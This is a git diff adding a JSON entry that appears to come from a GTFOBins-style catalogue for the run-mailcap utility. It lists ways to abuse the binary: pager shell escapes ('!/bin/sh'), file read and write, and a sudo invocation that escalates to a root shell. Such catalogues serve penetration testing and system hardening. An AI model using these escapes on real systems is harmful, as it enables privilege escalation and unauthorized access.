diff --git a/data/run-mailcap.json b/data/run-mailcap.json new file mode 100644 index 0000000..57b173e --- /dev/null +++ b/data/run-mailcap.json @@ -0,0 +1,28 @@ +{ + "functions": { + "shell": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "run-mailcap --action=view /etc/hosts\n!/bin/sh\n" + } + ], + "file-read": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "run-mailcap --action=view [file]" + } + ], + "file-write": [ + { + "description": "The file must exist and be not empty. This invokes the default editor, which is likely to be 'vi', other functions may apply.", + "code": "run-mailcap --action=edit [file]" + } + ], + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "sudo run-mailcap --action=view /etc/hosts\n!/bin/sh\n" + } + ] + } +} \ No newline at end of file